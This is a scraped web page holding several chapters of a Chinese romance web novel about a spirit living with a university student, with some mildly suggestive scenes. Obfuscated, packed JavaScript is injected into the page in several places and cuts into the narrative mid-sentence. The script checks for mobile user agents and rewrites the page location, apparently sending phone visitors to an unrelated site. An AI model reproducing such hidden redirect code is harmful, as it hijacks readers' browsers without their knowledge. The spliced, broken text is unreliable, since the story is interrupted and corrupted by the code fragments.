l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380443|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原有的颜值和气质,反倒更显可爱。 果然好看的人无论穿什么都好看。曾雅云没忍住给他拍了一张照片,说:“现在很流行你这种小奶狗,肯定有不少女孩子喜欢。” 我是小奶……狗?江听雨听不懂,挠了挠脸蛋,反正说谢谢总不会出错。 曾雅云收起手机,接着交代了他需要做的。 “正式开业前我们需要先将东西准备好,小料有些在冰箱,有些在下面的柜子里,按照塑料盒表面的标签对应装入,要是都没有,就去后面储存室拿新的。” “实在找不到位置的也可以问我。” - “你在干嘛?” 祁萧嗦完最后一口粉,端起比脸还宽的碗,咕嘟咕嘟喝掉大半汤汁,放下后一抬头就见闻翟眉头微蹙,手指在手机屏幕上不时滑动,笑嘻嘻道:“又在给哪个妹妹发消息?” 闻翟没搭理他无聊的玩笑,“点外卖。” 祁萧面露不解:“你不是才在食堂吃过?”还是他刚刚看着吃完的。 “超前意识准备将晚饭一块吃了啊?” 闻翟用怜悯他智商的表情看了他一眼,说:“给江听雨点。” “哦~原来是听雨弟弟啊。”祁萧回忆起那过山车似的一天,“欸,说真的,他家里还有没有其他兄弟姐妹?介绍介绍呗。” 江听雨长得不差,想必父母基因很好,生下来的小孩肯定个个都站在颜值巅峰,尤其是姐姐、妹妹,祁萧都可以根据江听雨幻想出究竟有多美了。 闻翟不假思索道:“他家有没有其他兄弟姐妹我不清楚,但是我可以给你介绍一个我家的。” “谁啊?”祁萧问。如果他没有记错,闻翟是家里独生子,哪来的兄弟姐妹? 闻翟轻轻抬起眼皮:“去你弟。” “……”祁萧一噎。 闻翟继续翻手机,外卖平台上的东西要么评分太低、评论区有差评,要么看起来不卫生,始终没有翻到合适的。 他问:“我外卖点的少,你有没有推荐?” 祁萧说:“金江家吧。” 闻翟搜索出店名,正准备点,祁萧继续道:“挺好吃的,可惜是预制菜。” 闻翟取消了付款:“……” 看到他脸上的无语,祁萧却为扳回一轮嘿嘿笑了。 “有没有不是预制菜的?” “那我就不清楚了,都点外卖了,还要什么自行车。你要真讲究这个,就从食堂打包一份带回去给他,学校有监控拍着后厨,肯定都是现做现卖的。” 祁萧就是随口一说,没想到闻翟下一秒真站了起来。 “喂,你去哪?” “打包。” 祁萧:“?” 闻翟自己平时是不怎么点外卖的,订单记录屈指可数,总次数加在一起还没祁萧半个月点的多。他昨天虽然给江听雨点了一份,但心里还是不太相信外卖的安全程度。 从食堂打包好新鲜饭菜,闻翟准备回去一趟。 祁萧追上来,不可思议道:“不儿,你真要回去一趟啊?” 他以前求爷爷求奶奶的,才终于让这祖宗松口帮忙带一回饭,结果他现在居然上赶着给江听雨带。 就因为他刚才一句预制菜? 闻翟看了眼手机:“嗯,时间够。”就没有再点外卖的必要。 祁萧咋舌:“老实说,我觉得你不对劲。”区别对待太明显了。 闻翟却说:“我不认识‘老实’,他说的不管用。” “……呵呵。”祁萧有被他的话冷到,搓了搓手臂上的鸡皮疙瘩。 16. 香辣鱿鱼 上班第一天,江听雨主要跟着曾雅云学习了如何制作奶茶和基础管理,发现如今的奶茶与过去变化巨大。 所谓奶茶,主体为“奶”和“茶”。江听雨虽没亲手制过奶茶,但他看别人制过,对于基本步骤略有了解。 过去讲究现制现喝,先炙茶,将茶饼研磨成细腻的粉末,再煮水至二沸,舀出一勺水备用后依次加入茶末和香料。 待到水至剧烈沸腾时,将第二沸舀出的水倒入降温,茶汤表面便会形成细密的沫饽,也就是最原始的“奶盖”。 而现在的奶茶则是先用茶叶煮出茶汤,冷却后装罐备用,其次按照顾客点单需求向杯中添加小料、冰块等,最后再加奶和茶填满空隙。 不过与一千多年前相比起来,如今奶茶的制作方式便捷快速许多,口味也更加丰富。 教完做奶茶,曾雅云又教了如何给客人点单,这对于江听雨来说有一定难度。他电子产品接触得实在太少,需要多费一番心思,也好在今天遇到的都是很有耐心的客人,见他操作慢也不催他。 奶茶店开在学校附近,顾客以学生为主体。曾雅云猜的果然没错,江听雨的长相很受女孩子欢迎,不少人指定想要他点单,胆子大的还会举起手机,拍下几张他正在上班的照片。 中午顾景山过来了一趟,说:“趁现在客人不多,你们先去吃饭吧,这里我看着。”顺便问了江听雨今天上班的感受。 “还能接受吗?” 江听雨点头,说:“就是饿得更快了。” “上班是会这样的,要么消耗体力,要么消耗脑力。”顾景山笑说,今天中午多给了他半个小时休息。 “可以睡个午觉再过来。” 老板都发话了,江听雨自然不会扭捏推拒。换下员工服,回到小区单元楼,在门禁前等了几分钟,有人刷卡打开门后他跟在后面进去,就不用再变成光球飞上二十一楼,大大降低了被凡人发现异样的风险。 输入密码开门进家。上次闻翟又给了他几枚蛋黄酥,茶几上也还有一些吃火锅那天祁萧他们带来的零食和水果。 江听雨开了一个果冻,草莓味的,送入嘴里又软又弹,在舌尖上化开甜蜜的滋味。 吃掉最后一口,门口响起动静,江听雨以为是外卖来了,起身过去,结果刚走到一半门就被打开了,意料之外地与闻翟对视上。 外面的太阳很大,闻翟没有打伞,回来路上难免被晒,额头上有一层汗珠,碎发都黏成了一缕缕的,不过丝毫不影响那张脸的帅气。 江听雨很有眼见力地跑去厨房给他倒了一杯水。 “谢谢。”接水杯时,两人的手指不经意间相碰,一边滚烫,一边冰凉,心底或多或少贪恋于对方的体温。 闻翟率先收回手,打开带回来的饭菜,还热乎着,喊他过来吃。 江听雨见只有一份,没动,先问:“你吃过了吗?”目光掠过色香味俱全的饭菜,却悄悄咽了一下口水。 闻翟注意到,不知为何起了逗他的心思,表情很淡地说:“没有。” 高冷的外表成功给他打了掩护,江听雨不疑有他,内心开始天人交战。 在奶茶店工作一个早上,已经令他饿得快前胸贴后背,一个人就能吃完闻翟带回来的这份饭菜。可闻翟每天在外面上学同样很辛苦,还负责他的一日三餐。 江听雨抿了抿唇,转身又要往厨房跑,说:“那我分你一半。” 能让一个护食的人愿意让出来一半食物,是件很难得的事。闻翟其实想不通自己为什么要这样逗他,但在得到出乎意料的回答时,心头像是有片柔软的羽毛轻轻搔过,叫他一时失去了思考的能力。 他想起来叫住江听雨:“不用,你吃就行。” 江听雨脚下一顿,问:“那你不饿吗?” 闻翟没说自己已经在食堂吃过了,“嗯,不饿,你吃就行。” 江听雨本来很纠结要不要分一半给他吃,既然他都这么说了,也不再客气,折回来在桌前坐下,顺便真诚地给闻翟颁发了一张卡:“你真是个好人。” 闻翟见他真的没有丝毫怀疑,不由得暗自失笑。 怎么能这么笨,会让人更想欺负的。 - 实验室新来了一批材料,接下来一连好几天闻翟都特别忙,除了上课,其余时间基本都用来做实验了,往往在外面一呆就是一整天,只有晚上才会回家。 当然,还有给江听雨带饭的时候,要是实在抽不开身,也拜托祁萧帮忙带过两次。 祁萧没他那么伟大的上进心,每天自然轻松许多。没有任何怨言愿意帮忙,但还是忍不住道:“都这样了你都不愿意给他点外卖?” 闻翟却反问:“不是你说外卖还没有食堂的干净?” 祁萧哑然。他感觉他的好兄弟不是在践行雷锋精神,倒更像是在养小媳妇,还是娇养的那种,生怕对方接触到外界的污浊,连吃的方面也要严格把控。 就这么过了半个星期,顾景山看到了江听雨认真的工作态度和想要留下来的决心,给他提前转正了,并给他预支了四千五的现金工资。 “你要先去买一部手机吗?这样平时我们也好联系。”曾雅云说,她已经知道了江听雨没有任何通讯工具的事。 “现在这个社会要是没有手机的话真的很麻烦。”曾雅云接着列举了一长串手机的用途。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380444|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机不只是可以用来通话。江听雨觉得她说的有道理,手机肯定是要买的,但比起这个,他有更想买的。 “小云姐,你知道附近哪里可以买到甲鱼吗?” “你想吃甲鱼啦?”曾雅云第一天就发现了江听雨的吃货属性,笑道:“我记得秋枫路那边有家菜市场,往里走就是一块水产品区,里面应该有卖。” “不过今天有点晚了,你要是想买的话,明天中午我可以陪你一块去。” 有人带路的话自然再好不过了,江听雨和曾雅云敲定时间,第二天一块到菜市场。 甲鱼的价格是二十二元一斤,江听雨选了一只看起来最活跃的,四斤三两,曾雅云帮忙讲价到了九十元。 卖鱼的老板提供宰杀服务,但江听雨不确定闻翟是否想今天吃,拒绝了,准备哪天要吃的时候再现杀。 晌午的烈阳下,江听雨提着甲鱼回家,为了赶时间,一路上小跑,叫他难得出了层薄汗,那张白净的脸蛋浮出红润,看起来更为鲜活。 一同乘坐电梯的大婶瞧见他手里的甲鱼,颇为自来熟地搭话:“哎哟,这么大一只甲鱼呐。” “这东西煲汤最有营养了。” 江听雨悄悄记下来。 开门回到家,江听雨开启了地毯式搜寻模式,找可以暂时养甲鱼的容器,最终锁定卫生间的木桶。 他将甲鱼从袋子里抱出来,放进桶里,又倒了点水进去。 今天中午是祁萧过来给他送饭,两人见过几面后已经相处得很融洽。祁萧字面意思上的夹带私货,每次都会给他带点小零食和饮料,然后旁敲侧击地打听他有没有其他姐妹。 “没有哎。”江听雨咽下嘴里的饭菜,说:“我降生的时候就是一个人。” 这个“降生”就用得很奇特,一般人都会说“出生”。但祁萧没有在这上面去细想,遗憾且心碎地说:“好吧。” 转而问道:“那你和闻翟是怎么认识的?” 江听雨停下进食的动作,认真思考了片刻,似乎觉得有些难以回答。 他和闻翟是怎么认识的…… 说实话他也不知道该怎么描述比较合适,他就是寻着魂魄的气息跟到闻翟家里。 欸,好像不是通过正规渠道认识的耶。 “我跟闻翟……”江听雨习惯性去摸下巴,终于想到一个贴切的,道:“我们睡了一觉,第二天早上就认识了。” What? 你说你们睡了啥?第二天早上就怎么了? 祁萧眼睛都瞪直了,像是无意间撞破什么不得了的事。脑子里滴地弹出一道男音提示,字正腔圆—— “秒懂百科,世界如此简单!” 17. 拔丝地瓜 闻翟晚上回到家,先洗澡。 衣服一件件脱下,灯光亲吻着精瘦却不干瘪的身体,水流源源不断,顺着脖颈淌过腹肌和人鱼线,有几滴溅到下巴上。 关闭花洒,腰间只简单系着条白毛巾。 哗啦,奇怪的闷响从身后传来。 闻翟望了一会木桶,旋即迈开长腿往声源走去,便看到里面趴着只快跟桶口一样大的生物,正伸出长长一截脖子看他。 甲鱼:°-° 闻翟:“……” 一鳖一人大眼瞪小眼,闻翟明白了它的来处,几乎是从牙缝里挤出声音:“江、听、雨!” 正抱着平板研究该如何烹制甲鱼的江听雨听见名字,跳下沙发,穿好拖鞋跑过来,“我来了我来了!” 探进一个头发乱翘的脑袋,问:“怎么了?” 闻翟示意他看桶里爬来爬去的生物,“为什么买甲鱼?” 江听雨眨了下眼接收信息,坦白道:“买给你补身体的。” 买给他?补……身体? 闻翟视线下敛,扫过自己虽称不上优渥,但也绝对不算白切鸡的身材,已经几天没跳过的太阳穴又开始工作了。 江听雨继续道:“这个甲鱼很好的,我带了人一起过去挑选。” 闻翟捏了捏山根:“挑了个毒性最强的好弄死我?” “不是,没毒。”江听雨解释:“可以壮阳。” “我?需要壮阳?”能让闻翟出现剧烈情绪起伏的情况并不多,他气得冷笑一声。 江听雨还没意识到这句话的杀伤力,就事论事,无形之中补刀:“是啊,你上次不太行。” 第一次吸阳气就晕了过去,可不最需要补补。 没有哪个正常男人能够容忍尊严受到挑衅,闻翟也不行。 他朝人走近,将人困在了墙面与身体之间,面上的表情很淡,语气听不出喜怒:“谁跟你说我不行了?” 江听雨见他信誓旦旦,浅褐色的眸子迅速露出期待和激动,“那你让我再吸一次阳气?” 距离上一次都快过去十天了,他不确定自己的神魂还能撑多久,但快点吸入新的阳气总不会有错。 闻翟因他突然蹦出的话一怔,似乎没料到他的主动。江听雨看起来乖巧懂事,却是长着一张极具欺骗性的脸,随便起来跟小流氓没什么两样。 “你知不知道自己在说什么。”闻翟的音色变得很沉,他不是随便的人。 “知道啊。”江听雨生怕人跑了似的,握住他的手臂,踮起脚尖凑上去:“现在就亲我。” 浴室里仍残留着刚洗完澡的水汽,潮湿地笼住两人。距离在一瞬间拉得更近,江听雨努力仰起脸,小巧的唇瓣干净且水润,像是沁了层蜜汁的红柚,说话时贝齿微张,隐隐露出里面更艳粉的软舌。 是一张看起来很好亲的嘴。 闻翟鼻翼周围全是江听雨身上散发出来的冷香,有那么一瞬间,他是真的想固定住江听雨下巴,教训这个不知道天高地厚的家伙,最好弄得他哭都哭不出来。 江听雨做好了承受的准备,可若是闻翟不肯低头配合的话,光凭他一个人根本无法实现。 两分钟过去,江听雨的脚尖都酸了,他双手扶住闻翟的胳膊借力,眼里闪烁着天真和不解,带有催促意味的问他:“你还不亲我吗?” 闻翟从第一天见到江听雨起就知道他长得好看,却是头回这么近距离观察他,眼睫毛乌黑纤长,细腻的脸蛋线条流畅,不见任何粗大毛孔和坑洼,只有一层细小的白色绒毛。 空气里的水汽分子好似沸腾起来,在皮肤上留下一片难耐的热意。闻翟后背又出了层薄汗,喉结随着汗液的流动不自觉滚了一下,目光不移地盯着江听雨,如同一只野兽锁定自己的猎物。 “亲我吧。”江听雨缓缓道,仿佛话本里擅长引诱书生的狐狸精。 唯一的不同是,这只狐狸并不知道自己是在“引诱”。 “你不是说自己行么?” “……” 闻翟深吸一口气,理智和多年的洁癖终究更胜一筹,拉开快要压到他腹部的江听雨,面无表情说:“别耍流氓。” 他抽走挂在架子上的另一条毛巾,往腰上多系了一圈,密不透光。 江听雨愣愣地站在原处,面对他的话冒出一头问号。少顷,疑惑地用手指着自己,轻声呢喃:“我……耍流氓了吗?” 闻翟只当什么都没发生过,走出浴室,“这甲鱼从哪抓来的送回哪去。” 要早知道江听雨那天晚上问他喜不喜欢甲鱼是这个意图,他当时就会明说,今晚也不会给江听雨借题发挥的机会。 预防针还是打少了。 江听雨却不太想退回去,一方面是卖鱼的老板看起来好凶,说话都是用吼的,他不敢再过去,另一方面是从家到菜市场的距离有点远,现在天气很热,他不喜欢出汗的感觉。 “送不了。”江听雨也出了浴室,像条小尾巴跟在闻翟后面,用从网上看来的话术,说:“一经售出,概不退换。” 他觉得闻翟可能只是今天不想吃,说不定后面哪天就又想吃了。这么好的东西送回去多可惜,下次再买就不是小云姐帮他砍过价的这个价了。 “我们可以先把它养起来,这样等你哪天又不行了,就能立刻派上用场。” 闻翟这次不光是太阳穴在跳,连手背上的青筋都因握指成拳而明显暴起。他想不明白,究竟是什么给了江听雨这种错觉? 而且谁会把一只甲鱼养在洗脚桶里!? 别等到哪天养死了,扬言死于脚气病,他还得背这口锅。 “你现在就给我——”闻翟想说马上处理掉,谁知话到一半,转过身时再看,背后哪里还有江听雨的半点影子。 对方早就溜进了卧室里,连根头发丝都没留下,徒留闻翟一个人差点气到撅过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380445|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 周六,闻翟难得轻松,没有课和实验,准备的早餐也比前几天更加丰盛,有吃有喝。 吃到一半,桌面上的手机响了起来。闻翟拿起来一看,是个没有备注的陌生电话,像是座机打来的。 怀疑是诈骗电话,他第一次没接,五分钟后,对方又一次打来,这才点下接受,等对面先开口表明来由。 “喂你好,请问是闻翟同志吗?我是张警官,不知道你对我还有没有印象?” 张警官,就是上回倒伐江听雨的那位民警。闻翟听到他的自我介绍,就猜到了他打这通电话的目的。 事实也确实如他所料。 张警官身为执法人员,对待工作的态度毋庸置疑,即便是一件小事,也会认真负责地去完成,所以那天分开前,他让闻翟留下一个联系方式,方便日后随机了解情况。 其实张警官最初是想要江听雨的电话号码,这样就可以听到更加真实的反馈,但那会的江听雨连手机是什么都没搞清楚,就更别说联系电话了。 “上次跟你一起过来的那个小姑娘在家吗?”张警官问。 闻翟听懂他的言外之意,喊江听雨过来,提醒他:“叫警察叔叔。” 江听雨静默了两秒,似乎正在连接服务器,随后笑说:“警察叔叔好。” “你好你好。”张警官一如那天和蔼,关切地问:“最近过得怎么样?有没有遇到困难呢?” 江听雨想了一下,感觉自己这段时间每天都过得挺快乐的,在家一日三餐有专人投喂,上班也有小云姐和顾老板投喂。 但如果问有没有遇到什么困难的话,好像确实有一件。 江听雨本来是想点头的,意识到对方看不见,又改为动嘴:“有的。” 闻翟和张警官的心脏一齐重跳了下,两者的心境却截然不同。前者是有种不祥的预感,后者则是担心江听雨的人身安全受到了威胁。 跟江听雨住的这几天,闻翟差不多摸清了这人的闹腾能力。他其实很想捂住江听雨的嘴巴,免得他说出某些惊天发言,但电话那头不是别人,是警察,他要真捂了,就有刻意隐瞒真相的嫌疑。 在他踌躇不决的这短短几秒里,江听雨已经往下说:“家里没有合适的容器,闻翟不让我养甲鱼。” 他语气幽怨,当着闻翟的面向民警告状,坦荡的模样好像丝毫不担心挂断电话后会遭到报复。 当然,也可能是他根本就没想到还会有报复,只是觉得有人向他提出了问题,出于礼貌,他要如实回答。 电话那头有好一会没说话,不知道是信号不好还是在思考该怎么回话。 “这个,甲鱼……”张警官组织着语言,“你们需要多大的容器?” 江听雨眼睛都亮了一下,心道原来人间的警察叔叔这么好。只是他还没来得及张口吐声,闻翟就先捏住了他的嘴唇。 变成鸭子嘴的江听雨:唔⊙.⊙? 18. 清炒扁豆 闻翟另一只手抽回手机,对电话那头说:“谢谢您的好意,关于这件事我会再跟他协商的,就不麻烦您了。” 张警官闻言也松了口气,否则他还真不知道要去哪给江听雨找个水缸来,“好的好的,那我就不打扰你们了。” 江听雨从他手里解救出嘴巴,感觉都被捏瘪了一些,揉回原来的饱满,问:“你要跟我协商什么?” 闻翟还是昨晚的态度:“甲鱼从哪弄来的送回哪去。” “你太霸道了。”江听雨当即控诉道,端起桌面上的黑芝麻豆奶,一口气喝完剩下的,这回从他眼皮子底下溜走了。 闻翟看了眼他放下的玻璃杯,心里发笑,既然江听雨都给他冠上“霸道”的罪名了,他要是不坐实,岂不是太对不起刚才那句话? 他本想采取更加强硬点的手段送走那只甲鱼,简单收拾掉桌面的碗筷,朝浴室走去,途中不可避免地经过卧室。 江听雨换衣服没关门。 闻父闻母当初给闻翟租下这间房时,没有考虑过是否还会有其他人住进来,所以很多配件都是按照一人标准来搭配的,就比如衣柜,只有江听雨面前这一间。 闻翟不常购物,对于衣着的需求量不高,所以衣柜里剩下的空间较为充足,按照对称线划分,腾了一半出来给江听雨放他的衣服。 江听雨习惯先将身上的睡衣全部脱下来再去穿衣服,于是闻翟经过卧室门口时,余光里闯入一抹格外显眼的白。 早上的阳光相较中午温柔许多,如薄纱般懒洋洋地钻入房间,令那本就白皙如雪的肌肤显得愈发莹润,仿佛上等的羊脂玉。 江听雨全身上下只剩一条奶黄色的小内裤,皮肤与布料色差明显,勾勒出饱满圆滚的曲线,弯腰去拿床上的T恤衫时,屁股会更挺翘一些,臀肉将内裤撑得满满当当,还有部分漏出来。 闻翟回忆不起自己是什么时候停下来的,只知道等屋内的人开口时,他已经站在门口看完江听雨穿好衣服的整个过程。 “你刚刚一直在后面看着我,是想要摸我吗?”江听雨转过来望向他,脸上没有被偷看的羞赧或愤怒,只是单纯好奇他的行为。 闻翟的眉心拧了起来,难道他在江听雨心中就是一个猥琐变态的形象吗? 不过有些话不说出来还好,一旦有人将它摆到明面上来,人的大脑就会跟着受到影响。闻翟可以笃定自己看江听雨换衣服时没有丝毫杂念,但现在听完他的话,却是不受控制地依据画面去幻想手感。 其实他摸过的,江听雨吹完头发睡着那次,既有着白面的绵软,又有着果冻的Q弹,稍微用点力,便能明显感到手指陷入肉里。 “没有。”闻翟说,面上平静,看不出一丝下/流的欲念。 他说过,他不是个随便的人。 “好吧。”江听雨没有怀疑,临近上班的时间,他不能再跟闻翟闲聊。 直至江听雨开门离开,闻翟才陡然回想起自己的真正目的,他应该是要将木桶里的甲鱼送走的。 这么想着,他迈开长腿走进卧室,拿起了被子上江听雨刚刚换下来的睡衣。 江听雨的体温本就偏低,此刻已经无法再从上面感受到任何温度。 闻翟将睡衣折叠整齐,发现领口的位置上居然有根线头,为了保证不损伤到睡衣的其他地方,他拿剪刀时特意凑近了些,这样能看得更清楚,下手也更精准。 少顷,鼻周附近全是掺杂了桃子味沐浴露的冷香。 - 奶茶店前几天的工作强度不是很大,江听雨还能有闲暇时间跟小云姐和顾老板聊天,从对话中了解这个时代的新鲜事物,学习生存法则。 这两天却突然上了强度,忙碌程度是平时的两三倍不止,尤其下午的时候,江听雨就跟个旋转陀螺似的,切水果、泡奶茶、煮珍珠、加小料等等,几乎就没闲下来过。 附近有一所高中开运动会,不止是他们这家奶茶店忙,开在他们对面的门店同样爆单了,很多是老师或家委通过线上小程序下单,一次就是六七十杯,请全班同学喝。 奶茶本就是当下热门饮品之一,一个学校三个年级,大几千人,光是他们店今天就快做了六七百杯,加上那些非高中生的订单,将近一千杯,连顾景山这个老板都跟着他们忙了很久。 店内的上班时间分为早上、下午和晚上三个时间段,江听雨是全职,意味着他在规定时间内都要到场,草草吃完晚饭休息了十分钟,他就又去了店里,一直到夜色笼罩,路上的喧嚣声渐弱。 “真是辛苦了,没想到今天会忙到这么晚。”顾景山锁好店门,说:“你们饿了吗?我请客吃夜宵。” 曾雅云说自己最近在减肥,就不去吃了,“我现在可是意志力最薄弱的时候,老板你千万别害我破功啊。” 顾景山轻轻地笑,说:“好。”又问江听雨。 “听雨呢?我认识一家还不错的夜宵店,卫生和口味都过关。” 江听雨其实是有点饿了,但他怕回去的太晚会影响到闻翟休息,毕竟对方平日里看起来就凶巴巴的,所以还是忍痛拒绝了。 顾景山也不强求他们,让他们回去早点休息,明天可以晚一个小时再来上班,随后拨打电话喊了另一个人出来陪他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380446|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去夜宵店。 三人分别,江听雨加快脚下步子回家。这个点外出的人已经很少,不太好蹭同楼栋居民的门禁进去,等了十分钟还是没有人来,他萌生了变回光球形态飞上去的想法。 不过光球发出的亮光太容易引人注意了,他需要先做一些遮掩才行。 就在江听雨犹豫是脱衣服下来,还是去垃圾桶里翻一个塑料袋套在身上时,滴的一声,门从里面打开了。 江听雨一抬眼,很巧地与闻翟撞了个对面。 两人都有一会没说话。 最后是江听雨先开口:“你要出去吗?”在他印象里,闻翟是个很自律的人,如果没有什么特殊情况,几乎不会再在晚上回到家后又出门。 闻翟表情淡淡的,错开了与他的对视,说:“扔垃圾。” 江听雨半点没听出这是句客套话,往他手上看去,什么都没有,直截了当地问:“垃圾呢?” “……”闻翟没答,走到外面的巨型垃圾桶前,摸了一下衣服口袋,不知道扔了什么出去,也可能什么都没扔,反正有夜色做掩护,又是背对的姿势,江听雨什么都没看见。 他又神色自若地折返回来,进门后见江听雨仍杵在外面,催促道:“还不回家?” “外面不缺守门员。” “哦。”江听雨收回落在垃圾桶上的视线,跟他进去,上楼洗漱完便窝进被子里休息了。 江城地理位置偏南,九月份的天气还将自己捂得严严实实的,闻翟有时候见了都会替他嫌热,怀疑他的温觉感受器是不是出了问题。 也想过和对方分开睡,毕竟他是一个正常人,但江听雨总嚷着一个人睡觉太冷,非要跟他睡,闻翟也只能勉为其难答应下来。 江听雨体表的温度到了晚上会变得比白日更凉些,闻翟跟他睡以后,基本上不需要再额外开空调。 但就事论事,江听雨的睡相是真的很差,胳膊和腿是一定要搭到他身上来的,俨然将他当作了可以取暖的抱枕。 不管最开始两个人隔着多远,等到人睡着,无一例外都会滚到他怀里来。 神奇的是,身边多躺了个人,闻翟非但不感到热,多年的失眠和盗梦症状似乎也有所好转,可以完整地一觉睡到天亮。 万物静默,城市也进入了睡梦的摇篮。江听雨身上很香,没有市面上香水的劣质感,而是由内而外自然散发出来的香,闻久了也不觉得恶心和晕眩。 闻翟无意识将人往怀里搂了些,下巴抵在那柔软的发顶,任由丝丝缕缕的香味往鼻子里钻。 是江听雨先靠过来的,也是江听雨说冷的。 19. 肉沫茄子 江听雨今晚吃的比较简单,加上在奶茶店忙了很久,能量消耗的快,后半夜竟然给饿醒了。 他翻了个身,不太舒服地揉了揉饿得有点疼的胃部,却怎么都无法再进入睡梦中。 环在腰上的手抱得好紧,江听雨费了一番力气才溜出来,坐在床边,面对黑漆漆的天花板发了会呆。 咕—— 瘪瘪的肚子叫了一声,他回过神,穿好拖鞋下床去。 怀里少了“天然降温器”,闻翟很快热醒,起初没马上睁开眼,往旁边摸了一下,空的,顿时清醒过来。 他往床上和卧室扫视一圈,都没有发现江听雨的身影,倒是有悉悉索索的声响从门口传进来。 闻翟寻着动静找到客厅,只见一团黑影狗狗祟祟地蹲在地上,往茶几的抽屉里翻找着什么,接着发出咔嚓咔嚓声。 对方连灯都没开,不知道的还以为是贼溜进了家里。闻翟借着稀薄的光线,站在后面观察了足有五分钟,沉溺于满足之中的某人毫无觉察,高兴地晃了晃脑袋。 头上倔犟翘着的呆毛也跟着晃。 闻翟摸到开关摁下,黑暗在顷刻间褪去,所有行为无处遁形。 地上的人吓了一跳,以为闹鬼了,但很快想起自己就是鬼,扭过头来,嘴里还叼着根没来得及吃进去的大辣条,倏然与房子的主人对上视线。 一个懵懵地蹲在地上不知所措,一个眉心微蹙,居高临下地打量着。 两人维持这个姿势五六秒,江听雨的嘴巴率先动了动,迅速将辣条吃掉,唇边沾了些红油,嘴里忙着咀嚼,就是没说话。 闻翟目光掠过地板上的薯片碎渣,问:“这些零食哪里来的?” 他个人对零食没什么兴趣,也不会专门去囤,家里最近一次出现零食还是吃火锅那次祁萧他们带来的,但也只是一些蛋黄酥和果冻而已,没两天就叫江听雨吃完了。 但他现在吃的这些明显是新的。 江听雨将辣条往怀里藏了藏,就这么没义气地将“帮凶”卖了:“祁萧给我的。” 已经不剩多少了,可他还没吃饱,怕闻翟会跟他抢,又补充道:“没有你的了。” “……”闻翟走过去,揪住江听雨的睡衣后领,跟拎鸡崽似的,将人从地上拎到了沙发上,随后抽走了他手里只吃了一根的辣条。 快乐被剥夺,江听雨看都没看闻翟一眼,目光一直追随着离他而去的辣条,急得想抢回来,却被按着肩膀重新压回了沙发上。 他只能伸着手,敢言不敢怒地提醒:“那是我的……” 闻翟将辣条拿得更远了些,表情和语气都很淡,说:“少吃这种垃圾食品,里面含有大量油脂和食品添加剂。” 什么脂?什么剂? 江听雨听不懂,他只知道饿了就要吃饭,而且这个叫做辣条的东西还挺好吃的。 闻翟看穿他还不死心,这次做得更绝些,直接将辣条扔进了垃圾桶。 江听雨眼睁睁望着辣条以慢动作跌进“深渊”,却什么也做不了。 太浪费了!怎么可以扔食物! 气得他腾地从沙发上站了起来,瞪了一眼闻翟,浑身的绒毛仿佛都随之炸开。 经过闻翟身边时,江听雨故意踩了他的拖鞋一脚,又蹲回到茶几旁边,希望能再从抽屉里翻出点口粮。 闻翟视线下敛,橡胶因受力而微微凹进去,宣告着某人强烈的不满。 江听雨成功翻出一包魔芋爽。 “别吃那些了。”闻翟伸出手去拦他,却叫江听雨恶狠狠地拍开了,好似他要敢再阻拦一下,就真的会扑上来跟他干架。 闻翟无奈地叹了口气,说:“我下面给你吃。” 江听雨的气还没消,跟个白胖的杏鲍菇一样蹲在地上:“下面是什么?” 闻翟以为他那只装得下吃和颜色的脑袋瓜又开始乱联想,将话补全:“面条。” “不放香菜。” 其实江听雨才没乱想颜色,他只是惊讶闻翟居然会为了他在深更半夜下厨。虽然他自己没什么做饭经历,但有时候光是在旁边看着就觉得好麻烦。 不过一码归一码,江听雨矜持地没有吭声。因为他现在在生气,太快叛变的话,对不起方才“壮烈逝去”的辣条兄。 没有得到“杏鲍菇”的回复,闻翟挑了挑眉:“不想吃?” “那我回去继续睡觉了。” 江听雨又抵抗了三秒钟的诱惑,赶在闻翟抬腿走掉之前站起来,搬出背锅的:“宝宝想吃。” “你多下一点,还要加个荷包蛋。” 闻翟若有似无地笑了笑,去厨房开火煮面。 十五分钟后,一碗品相绝佳的面条端上桌,除了江听雨要求的荷包蛋,还有青菜和肉沫,看起来就比刚才那些垃圾食品美味数倍。 江听雨是个很没原则的人,尤其面对吃的,第一口面条吃进嘴里,就将辣条兄忘到九霄云外之去,脾气也没了。 闻翟不去睡觉也不玩手机,就坐在对面看他,在他准备吃完时开口:“明天跟我去个地方。” “去哪?”江听雨非常有敬业精神地说:“我明天还要上班,不能陪你玩。” 